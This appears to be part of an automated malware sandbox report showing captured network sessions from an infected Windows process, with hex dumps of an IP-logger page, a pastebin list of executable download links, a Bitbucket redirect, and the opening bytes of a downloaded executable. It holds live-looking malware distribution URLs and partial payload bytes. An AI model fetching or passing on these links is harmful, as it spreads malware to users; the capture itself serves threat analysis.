2024-03-11 02:30:57 UTC	1369	IN	Data Raw: 76 69 73 69 74 2d 61 66 74 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 37 20 64 61 79 73 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 20 2f 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 69 70 6c 6f 67 67 65 72 2e 6f 72 67 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 69 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 69 Data Ascii: visit-after" content="7 days" /><meta name="keywords" content="" /><meta name="description" content="" /><link rel="shortcut icon" href="https://cdn.iplogger.org/favicon.ico" type="image/x-icon" /><meta property="og:image" content="https://cdn.i
2024-03-11 02:30:57 UTC	1369	IN	Data Raw: 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 23 6c 6f 61 64 65 72 3e 73 70 61 6e 7b 68 65 69 67 68 74 3a 31 36 70 78 3b 77 69 64 74 68 3a 31 36 70 78 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 30 25 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 33 33 38 62 64 39 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 6d 61 72 67 69 6e 3a 32 35 70 78 20 35 70 78 20 30 3b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 3a 6a 75 6d 70 20 31 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 61 6e 69 6d 61 74 69 6f 6e 3a 6a 75 6d 70 20 31 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 7d 23 6c 6f 61 64 65 72 3e 73 70 61 6e 3a 6e 74 68 2d 63 68 69 6c 64 28 32 29 7b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 Data Ascii: display:none}#loader>span{height:16px;width:16px;border-radius:50%;background-color:#338bd9;display:inline-block;margin:25px 5px 0;-webkit-animation:jump 1s linear infinite;animation:jump 1s linear infinite}#loader>span:nth-child(2){-webkit-animation-dela
2024-03-11 02:30:57 UTC	1369	IN	Data Raw: 79 6c 65 3e 0a 0a 09 3c 73 63 72 69 70 74 3e 0a 09 76 61 72 20 5f 70 3b 0a 09 69 66 28 6e 61 76 69 67 61 74 6f 72 26 26 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 44 61 74 61 26 26 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 44 61 74 61 2e 70 6c 61 74 66 6f 72 6d 3d 3d 3d 27 57 69 6e 64 6f 77 73 27 29 7b 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 44 61 74 61 2e 67 65 74 48 69 67 68 45 6e 74 72 6f 70 79 56 61 6c 75 65 73 28 5b 27 70 6c 61 74 66 6f 72 6d 56 65 72 73 69 6f 6e 27 5d 29 2e 74 68 65 6e 28 75 61 3d 3e 7b 5f 70 3d 70 61 72 73 65 49 6e 74 28 75 61 2e 70 6c 61 74 66 6f 72 6d 56 65 72 73 69 6f 6e 2e 73 70 6c 69 74 28 27 2e 27 29 5b 30 5d 29 7d 29 7d 0a 09 76 61 72 20 5f 79 3d 5b 5d 2c 5f 7a 3d 7b 7d 2c 5f 78 Data Ascii: yle><script>var _p;if(navigator&&navigator.userAgentData&&navigator.userAgentData.platform==='Windows'){navigator.userAgentData.getHighEntropyValues(['platformVersion']).then(ua=>{_p=parseInt(ua.platformVersion.split('.')[0])})}var _y=[],_z={},_x
2024-03-11 02:30:57 UTC	1369	IN	Data Raw: 72 6f 77 73 65 72 20 62 65 66 6f 72 65 20 70 72 6f 63 65 73 73 69 6e 67 2e 2e 2e 3c 2f 64 69 76 3e 0a 09 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 5f 63 28 29 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 74 79 6c 65 3e 0a 2e 77 72 61 70 70 65 72 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 30 30 70 78 7d 2e 63 6f 6e 74 61 69 6e 65 72 7b 77 69 64 74 68 3a 34 34 30 70 78 3b 6d 69 6e 2d 77 69 64 74 68 3a 33 32 30 70 78 3b 68 65 69 67 68 74 3a 33 35 30 70 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 73 2d 66 6c 65 78 62 6f 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 2d 6d 73 2d 66 6c 65 78 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 2d 6d 73 2d 66 6c 65 78 2d 70 61 63 6b 3a 63 65 6e 74 Data Ascii: rowser before processing...</div></div> <script> _c();</script><style>.wrapper{margin-top:100px}.container{width:440px;min-width:320px;height:350px;display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;-ms-flex-pack:cent
2024-03-11 02:30:57 UTC	1369	IN	Data Raw: 61 75 74 6f 7d 2e 6c 6f 67 6f 20 2e 6c 6f 67 6f 2d 74 65 78 74 7b 63 6f 6c 6f 72 3a 23 30 37 34 64 37 63 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 61 72 69 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 77 72 61 70 70 65 72 22 3e 0a 0a 20 20 20 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 20 20 20 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 68 65 61 64 65 72 22 3e 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 64 6f 6d 61 69 6e 22 3e 0a 09 09 09 09 3c 64 69 76 20 69 64 3d 22 64 6f 6d 61 69 6e 22 3e Data Ascii: auto}.logo .logo-text{color:#074d7c;text-align:center;font-size:12px;white-space:nowrap;font-family:arial;font-weight:700}</style><div class="wrapper"> <div class="container"> <div class="header"><div class="domain"><div id="domain">
2024-03-11 02:30:57 UTC	148	IN	Data Raw: 69 6f 6e 3d 27 61 62 73 6f 6c 75 74 65 27 2c 61 2e 73 74 79 6c 65 2e 74 6f 70 3d 69 2c 61 2e 73 74 79 6c 65 2e 6c 65 66 74 3d 69 2c 61 2e 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 63 6f 75 6e 74 65 72 2e 79 61 64 72 6f 2e 72 75 2f 68 69 74 3f 27 2b 75 72 6c 2e 6a 6f 69 6e 28 27 3b 27 29 2c 64 2e 62 6f 64 79 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 61 29 3b 0a 09 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: ion='absolute',a.style.top=i,a.style.left=i,a.src='https://counter.yadro.ru/hit?'+url.join(';'),d.body.appendChild(a);</script></body></html>
2024-03-11 02:30:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	55601	104.20.68.143	443	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 02:30:57 UTC	50	OUT	GET /raw/E0rY26ni HTTP/1.1 Host: pastebin.com
2024-03-11 02:30:57 UTC	395	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:57 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 4 Last-Modified: Mon, 11 Mar 2024 02:30:53 GMT Server: cloudflare CF-RAY: 86282023d8b569e3-LAS
2024-03-11 02:30:57 UTC	800	IN	Data Raw: 33 31 39 0d 0a 68 74 74 70 3a 2f 2f 31 38 35 2e 31 37 32 2e 31 32 38 2e 31 32 36 2f 49 6e 73 74 61 6c 6c 53 65 74 75 70 35 2e 65 78 65 0d 0a 68 74 74 70 73 3a 2f 2f 62 69 74 62 75 63 6b 65 74 2e 6f 72 67 2f 6a 2d 75 70 73 70 73 2f 6d 69 63 72 6f 73 6f 66 74 5f 6e 65 74 77 6f 72 6b 31 2f 64 6f 77 6e 6c 6f 61 64 73 2f 61 30 32 2e 65 78 65 0d 0a 68 74 74 70 73 3a 2f 2f 73 68 69 70 6f 66 64 65 73 74 69 6e 79 2e 63 6f 6d 2f 62 61 66 31 34 37 37 38 63 32 34 36 65 31 35 35 35 30 36 34 35 65 33 30 62 61 37 38 63 65 31 63 2e 65 78 65 0d 0a 68 74 74 70 73 3a 2f 2f 73 74 79 2e 69 6e 6b 2f 70 70 67 38 78 0d 0a 68 74 74 70 73 3a 2f 2f 6e 61 6d 65 6d 61 69 6c 2e 6f 72 67 2f 36 37 37 39 64 38 39 62 37 61 33 36 38 66 34 66 33 66 33 34 30 62 35 30 61 39 64 31 38 64 37 31 Data Ascii: 319http://185.172.128.126/InstallSetup5.exehttps://bitbucket.org/j-upsps/microsoft_network1/downloads/a02.exehttps://shipofdestiny.com/baf14778c246e15550645e30ba78ce1c.exehttps://sty.ink/ppg8xhttps://namemail.org/6779d89b7a368f4f3f340b50a9d18d71
2024-03-11 02:30:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	55590	104.192.141.1	443	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 02:30:57 UTC	83	OUT	GET /j-upsps/microsoft_network1/downloads/a02.exe HTTP/1.1 Host: bitbucket.org
2024-03-11 02:30:57 UTC	4234	IN	HTTP/1.1 302 Found server: envoy x-usage-quota-remaining: 998501.513 vary: Accept-Language, Origin x-usage-request-cost: 1140.03 cache-control: max-age=0, no-cache, no-store, must-revalidate, private Content-Type: text/html; charset=utf-8 x-b3-traceid: c289a43347b744b9 x-usage-output-ops: 0 x-used-mesh: False x-dc-location: Micros-3 content-security-policy: frame-ancestors 'self' start.atlassian.com start.stg.atlassian.com atlaskit.atlassian.com bitbucket.org app.pendo.io; base-uri 'self'; default-src 'self' 'unsafe-inline' 'unsafe-eval' data: blob: ; connect-src bitbucket.org .bitbucket.org bb-inf.net .bb-inf.net id.atlassian.com api.atlassian.com api.stg.atlassian.com wss://bitbucketci-ws-service.services.atlassian.com/ wss://bitbucketci-ws-service.stg.services.atlassian.com/ wss://bitbucketci-ws-service.dev.services.atlassian.com/ analytics.atlassian.com as.atlassian.com api-private.stg.atlassian.com api-private.atlassian.com atl-global.atlassian.com cofs.staging.public.atl-paas.net cofs.prod.public.atl-paas.net fd-assets.prod.atl-paas.net flight-deck-assets-bifrost.prod-east.frontend.public.atl-paas.net intake.opbeat.com api.media.atlassian.com api.segment.io xid.statuspage.io xid.atlassian.com xid.sourcetreeapp.com bam.nr-data.net bam-cell.nr-data.net www.google-analytics.com sentry.io .ingest.sentry.io events.launchdarkly.com app.launchdarkly.com fd-config.us-east-1.prod.public.atl-paas.net fd-config-bifrost.prod-east.frontend.public.atl-paas.net app.pendo.io data.pendo.io pendo-static-6266914010103808.storage.googleapis.com bqlf8qjztdtr.statuspage.io https://d301sr5gafysq2.cloudfront.net/ https://d136azpfpnge1l.cloudfront.net/; script-src 'unsafe-eval' 'strict-dynamic' 'unsafe-inline' 'self' http: https: https://remote-app-switcher.stg-east.frontend.public.atl-paas.net https://remote-app-switcher.prod-east.frontend.public.atl-paas.net app.pendo.io cdn.pendo.io data.pendo.io pendo-io-static.storage.googleapis.com pendo-static-6266914010103808.storage.googleapis.com https://d301sr5gafysq2.cloudfront.net/ https://d136azpfpnge1l.cloudfront.net/; style-src 'self' 'unsafe-inline' https://aui-cdn.atlassian.com/ https://cdn.cookielaw.org/ app.pendo.io cdn.pendo.io pendo-static-6266914010103808.storage.googleapis.com https://d301sr5gafysq2.cloudfront.net/ https://d136azpfpnge1l.cloudfront.net/; object-src 'none'; report-uri https://web-security-reports.services.atlassian.com/csp-report/bb-website Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Date: Mon, 11 Mar 2024 02:30:57 GMT x-usage-user-time: 0.032482 x-usage-system-time: 0.001719 location: https://bbuseruploads.s3.amazonaws.com/fe3c402e-d650-43c9-b0ce-c95a11498dde/downloads/666d2627-f56a-4f04-99c5-36905368220f/a02.exe?response-content-disposition=attachment%3B%20filename%3D%22a02.exe%22&AWSAccessKeyId=ASIA6KOSE3BNBZE7SCMA&Signature=HCpifs76QUiUci%2FEbjTZ%2FcagJHI%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEBsaCXVzLWVhc3QtMSJHMEUCIAL7XL1t3TuPO88R%2FvmGOKGVl7p1Es82eho6cXvQ48VmAiEA7oowtGrg0V2iUhUFhl6H%2Ftflg%2F8yqqvEVz4QKWlhh9IqpwIIJBAAGgw5ODQ1MjUxMDExNDYiDFuIFyQ4tKa%2Be%2FeNTyqEAv3z8s9kfwkGDgSePx2WLCQQKhHTHvRODYsmqld%2BfnPf1j4E%2BbYhYHOLhh0iQz0sdVxhkrXPTKBqSsozj19VUfDopIPVTfRKMeNtRGQezfK2JjXbp8r7euC55noDSYZTIVM6KVVDIPF1tAGWJiFo6%2BMYnFfB2zug1t5HpisPVtMAStx8BqdelSlN37IFcwjn1aKq5iLKOG2ot6gDBMcne8C1p0SybdfD5uWEI6lrqrxtbWm19RY1WYFsJSDkbGmC0LCmMTNlAcqxgj5rGPqMkl4XffgOsPi8NIW0liFniEJ4GkgdiP0nldGzH%2BkY77zsgPaug81QSVfxWv673OeelwZ6wdBpMNTYua8GOp0B8L9l%2BRuxjpbF79wIHItOL1FbFFaPMDUqLn7BHl2kHWntZrPtX5IlaRgQbEYZGTx9IwOvskFyhN7gOZfzOo5jKzjap2b%2Bq12UXPXW48Biok56nWPXv6z27x4KbZddnlzzmD%2FmLERbURyUQwhok2kY3h9GfMX4MN0PiCzQ9hqyr2Z7uiRWWK82G8AlU01254WlEwld0nRAsugFGjj4nw%3D%3D&Expires=1710125916 expires: Mon, 11 Mar 2024 02:30:57 GMT x-served-by: e7bee276ad99 x-envoy-upstream-service-time: 69 content-language: en x-view-name: bitbucket.apps.downloads.views.download_file x-b3-spanid: c289a43347b744b9 x-static-version: 3c039d08312e x-render-time: 0.05568814277648926 Connection: close x-usage-input-ops: 0 x-version: 3c039d08312e x-request-count: 3890 x-frame-options: SAMEORIGIN X-Cache-Info: not cacheable; response specified "Cache-Control: no-cache" Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	55604	172.67.177.133	443	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 02:30:58 UTC	106	OUT	GET /26b626fea29015a9f24e07a08fa011e4/6779d89b7a368f4f3f340b50a9d18d71.exe HTTP/1.1 Host: ittrade.org
2024-03-11 02:30:58 UTC	682	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:58 GMT Content-Type: application/x-ms-dos-executable Content-Length: 4283768 Connection: close Last-Modified: Sun, 10 Mar 2024 22:52:57 GMT Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 2 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2FmxgvwGyHdHpQrYbtyJF8Y%2BdbVUnL%2F5G8qgePzIKjgnZmTKgrcDicotEp6GYgcjwMF3iH86RZm6glzvnRS5frP6RLuTq%2FAtIt2gjy2NCl0QO%2B8LsoECLKBqSaQFYNw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8628202829bb09ef-LAS alt-svc: h3=":443"; ma=86400
2024-03-11 02:30:58 UTC	687	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a5 10 45 5e e1 71 2b 0d e1 71 2b 0d e1 71 2b 0d 8e 07 80 0d f5 71 2b 0d 8e 07 b5 0d f6 71 2b 0d 8e 07 81 0d b8 71 2b 0d e8 09 b8 0d e2 71 2b 0d e1 71 2a 0d ba 71 2b 0d 8e 07 84 0d e0 71 2b 0d 8e 07 b1 0d e0 71 2b 0d 8e 07 b6 0d e0 71 2b 0d 52 69 63 68 e1 71 2b 0d 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 2b 84 4d 63 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 96 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$E^q+q+q+q+q+q+q+q*q+q+q+q+Richq+PEL+Mc
2024-03-11 02:30:58 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-03-11 02:30:58 UTC	1369	IN	Data Raw: ee 80 00 66 8c 0d a4 ee 80 00 66 8c 1d 80 ee 80 00 66 8c 05 7c ee 80 00 66 8c 25 78 ee 80 00 66 8c 2d 74 ee 80 00 9c 8f 05 a8 ee 80 00 8b 45 00 a3 9c ee 80 00 8b 45 04 a3 a0 ee 80 00 8d 45 08 a3 ac ee 80 00 8b 85 e0 fc ff ff c7 05 e8 ed 80 00 01 00 01 00 a1 a0 ee 80 00 a3 9c ed 80 00 c7 05 90 ed 80 00 09 04 00 c0 c7 05 94 ed 80 00 01 00 00 00 a1 04 d0 80 00 89 85 d8 fc ff ff a1 08 d0 80 00 89 85 dc fc ff ff ff 15 ac b0 40 00 a3 e0 ed 80 00 6a 01 e8 e5 16 00 00 59 6a 00 ff 15 a8 b0 40 00 68 90 b1 40 00 ff 15 6c b0 40 00 83 3d e0 ed 80 00 00 75 08 6a 01 e8 c1 16 00 00 59 68 09 04 00 c0 ff 15 a4 b0 40 00 50 ff 15 a0 b0 40 00 c9 c3 8b ff 55 8b ec 8b 45 08 33 c9 3b 04 cd 10 d0 80 00 74 13 41 83 f9 2d 72 f1 8d 48 ed 83 f9 11 77 0e 6a 0d 58 5d c3 8b 04 cd 14 d0 Data Ascii: fff\|f%xf-tEEE@jYj@h@l@=ujYh@P@UE3;tA-rHwjX]
2024-03-11 02:30:58 UTC	1369	IN	Data Raw: 8b ec 6a 00 6a 01 ff 75 08 e8 99 fe ff ff 83 c4 0c 5d c3 6a 01 6a 00 6a 00 e8 89 fe ff ff 83 c4 0c c3 6a 01 6a 01 6a 00 e8 7a fe ff ff 83 c4 0c c3 8b ff 55 8b ec e8 4b 05 00 00 ff 75 08 e8 94 03 00 00 59 68 ff 00 00 00 e8 af ff ff ff cc 68 10 1a 40 00 64 ff 35 00 00 00 00 8b 44 24 10 89 6c 24 10 8d 6c 24 10 2b e0 53 56 57 a1 04 d0 80 00 31 45 fc 33 c5 50 89 65 e8 ff 75 f8 8b 45 fc c7 45 fc fe ff ff ff 89 45 f8 8d 45 f0 64 a3 00 00 00 00 c3 8b 4d f0 64 89 0d 00 00 00 00 59 5f 5f 5e 5b 8b e5 5d 51 c3 cc cc cc cc cc cc cc 8b ff 55 8b ec 83 ec 18 53 8b 5d 0c 56 8b 73 08 33 35 04 d0 80 00 57 8b 06 c6 45 ff 00 c7 45 f4 01 00 00 00 8d 7b 10 83 f8 fe 74 0d 8b 4e 04 03 cf 33 0c 38 e8 b7 f5 ff ff 8b 4e 0c 8b 46 08 03 cf 33 0c 38 e8 a7 f5 ff ff 8b 45 08 f6 40 04 66 Data Ascii: jju]jjjjjjzUKuYhh@d5D$l$l$+SVW1E3PeuEEEEdMdY__^[]QUS]Vs35WEE{tN38NF38E@f
2024-03-11 02:30:58 UTC	1369	IN	Data Raw: 85 08 fe ff ff 50 88 5d fb e8 58 15 00 00 59 50 8d 85 08 fe ff ff 50 56 ff 15 cc b0 40 00 8b 4d fc 5f 5e 33 cd 5b e8 1b f1 ff ff c9 c3 6a 03 e8 e9 18 00 00 59 83 f8 01 74 15 6a 03 e8 dc 18 00 00 59 85 c0 75 1f 83 3d 00 d0 80 00 01 75 16 68 fc 00 00 00 e8 25 fe ff ff 68 ff 00 00 00 e8 1b fe ff ff 59 59 c3 8b ff 55 8b ec 56 e8 85 08 00 00 8b f0 85 f6 0f 84 32 01 00 00 8b 4e 5c 8b 55 08 8b c1 57 39 10 74 0d 83 c0 0c 8d b9 90 00 00 00 3b c7 72 ef 81 c1 90 00 00 00 3b c1 73 04 39 10 74 02 33 c0 85 c0 74 07 8b 50 08 85 d2 75 07 33 c0 e9 f5 00 00 00 83 fa 05 75 0c 83 60 08 00 33 c0 40 e9 e4 00 00 00 83 fa 01 0f 84 d8 00 00 00 8b 4d 0c 53 8b 5e 60 89 4e 60 8b 48 04 83 f9 08 0f 85 b6 00 00 00 6a 24 59 8b 7e 5c 83 64 39 08 00 83 c1 0c 81 f9 90 00 00 00 7c ed 8b 00 Data Ascii: P]XYPPV@M_^3[jYtjYu=uh%hYYUV2N\UW9t;r;s9t3tPu3u`3@MS^`N`Hj$Y~\d9\|
2024-03-11 02:30:58 UTC	1369	IN	Data Raw: 02 00 00 8d 90 00 08 00 00 a3 00 55 85 00 89 35 f8 54 85 00 3b c2 73 36 83 c0 05 83 48 fb ff 66 c7 40 ff 00 0a 89 48 03 66 c7 40 1f 00 0a c6 40 21 0a 89 48 33 88 48 2f 8b 35 00 55 85 00 83 c0 40 8d 50 fb 81 c6 00 08 00 00 3b d6 72 cd 53 57 66 39 4d e6 0f 84 0e 01 00 00 8b 45 e8 3b c1 0f 84 03 01 00 00 8b 18 83 c0 04 89 45 fc 03 c3 be 00 08 00 00 89 45 f8 3b de 7c 02 8b de 39 1d f8 54 85 00 7d 6b bf 04 55 85 00 6a 40 6a 20 e8 52 f1 ff ff 59 59 85 c0 74 51 83 05 f8 54 85 00 20 8d 88 00 08 00 00 89 07 3b c1 73 31 83 c0 05 83 48 fb ff 83 60 03 00 80 60 1f 80 83 60 33 00 66 c7 40 ff 00 0a 66 c7 40 20 0a 0a c6 40 2f 00 8b 0f 83 c0 40 03 ce 8d 50 fb 3b d1 72 d2 83 c7 04 39 1d f8 54 85 00 7c a2 eb 06 8b 1d f8 54 85 00 33 ff 85 db 7e 72 8b 45 f8 8b 00 83 f8 ff 74 Data Ascii: U5T;s6Hf@Hf@@!H3H/5U@P;rSWf9ME;EE;\|9T}kUj@j RYYtQT ;s1H```3f@f@ @/@P;r9T\|T3~rEt
2024-03-11 02:30:58 UTC	1369	IN	Data Raw: 5b 04 00 00 59 c3 8b ff 57 68 54 bc 40 00 ff 15 bc b0 40 00 8b f8 85 ff 75 09 e8 34 fd ff ff 33 c0 5f c3 56 8b 35 b8 b0 40 00 68 90 bc 40 00 57 ff d6 68 84 bc 40 00 57 a3 2c f9 80 00 ff d6 68 78 bc 40 00 57 a3 30 f9 80 00 ff d6 68 70 bc 40 00 57 a3 34 f9 80 00 ff d6 83 3d 2c f9 80 00 00 8b 35 f0 b0 40 00 a3 38 f9 80 00 74 16 83 3d 30 f9 80 00 00 74 0d 83 3d 34 f9 80 00 00 74 04 85 c0 75 24 a1 ec b0 40 00 a3 30 f9 80 00 a1 f4 b0 40 00 c7 05 2c f9 80 00 82 26 40 00 89 35 34 f9 80 00 a3 38 f9 80 00 ff 15 e8 b0 40 00 a3 c4 d1 80 00 83 f8 ff 0f 84 c1 00 00 00 ff 35 30 f9 80 00 50 ff d6 85 c0 0f 84 b0 00 00 00 e8 dd ec ff ff ff 35 2c f9 80 00 8b 35 88 b0 40 00 ff d6 ff 35 30 f9 80 00 a3 2c f9 80 00 ff d6 ff 35 34 f9 80 00 a3 30 f9 80 00 ff d6 ff 35 38 f9 80 00 Data Ascii: [YWhT@@u43_V5@h@Wh@W,hx@W0hp@W4=,5@8t=0t=4tu$@0@,&@548@50P5,5@50,54058
2024-03-11 02:30:58 UTC	1369	IN	Data Raw: 11 e8 c7 ea ff ff 59 ff 36 ff 15 1c b1 40 00 5e 5d c3 6a 08 68 50 bf 80 00 e8 cd ea ff ff e8 41 f9 ff ff 8b 40 78 85 c0 74 16 83 65 fc 00 ff d0 eb 07 33 c0 40 c3 8b 65 e8 c7 45 fc fe ff ff ff e8 a0 17 00 00 e8 e6 ea ff ff c3 68 d7 2e 40 00 ff 15 88 b0 40 00 a3 90 fa 80 00 c3 8b ff 55 8b ec 8b 45 08 a3 94 fa 80 00 a3 98 fa 80 00 a3 9c fa 80 00 a3 a0 fa 80 00 5d c3 8b ff 55 8b ec 8b 45 08 8b 0d 4c bc 40 00 56 39 50 04 74 0f 8b f1 6b f6 0c 03 75 08 83 c0 0c 3b c6 72 ec 6b c9 0c 03 4d 08 5e 3b c1 73 05 39 50 04 74 02 33 c0 5d c3 ff 35 9c fa 80 00 ff 15 8c b0 40 00 c3 6a 20 68 70 bf 80 00 e8 21 ea ff ff 33 ff 89 7d e4 89 7d d8 8b 5d 08 83 fb 0b 7f 4b 74 15 8b c3 6a 02 59 2b c1 74 22 2b c1 74 08 2b c1 74 59 2b c1 75 43 e8 f5 f7 ff ff 8b f8 89 7d d8 85 ff 75 14 Data Ascii: Y6@^]jhPA@xte3@eEh.@@UE]UEL@V9Ptku;rkM^;s9Pt3]5@j hp!3}}]KtjY+t"+t+tY+uC}u
2024-03-11 02:30:58 UTC	1369	IN	Data Raw: cc cc 8b 4c 24 04 f7 c1 03 00 00 00 74 24 8a 01 83 c1 01 84 c0 74 4e f7 c1 03 00 00 00 75 ef 05 00 00 00 00 8d a4 24 00 00 00 00 8d a4 24 00 00 00 00 8b 01 ba ff fe fe 7e 03 d0 83 f0 ff 33 c2 83 c1 04 a9 00 01 01 81 74 e8 8b 41 fc 84 c0 74 32 84 e4 74 24 a9 00 00 ff 00 74 13 a9 00 00 00 ff 74 02 eb cd 8d 41 ff 8b 4c 24 04 2b c1 c3 8d 41 fe 8b 4c 24 04 2b c1 c3 8d 41 fd 8b 4c 24 04 2b c1 c3 8d 41 fc 8b 4c 24 04 2b c1 c3 8b ff 55 8b ec 83 ec 24 a1 04 d0 80 00 33 c5 89 45 fc 8b 45 08 53 89 45 e0 8b 45 0c 56 57 89 45 e4 e8 a8 f1 ff ff 83 65 ec 00 83 3d b0 fa 80 00 00 89 45 e8 75 7d 68 00 bd 40 00 ff 15 20 b0 40 00 8b d8 85 db 0f 84 10 01 00 00 8b 3d b8 b0 40 00 68 f4 bc 40 00 53 ff d7 85 c0 0f 84 fa 00 00 00 8b 35 88 b0 40 00 50 ff d6 68 e4 bc 40 00 53 a3 b0 Data Ascii: L$t$tNu$$~3tAt2t$ttAL$+AL$+AL$+AL$+U$3EESEEVWEe=Eu}h@ @=@h@S5@Ph@S
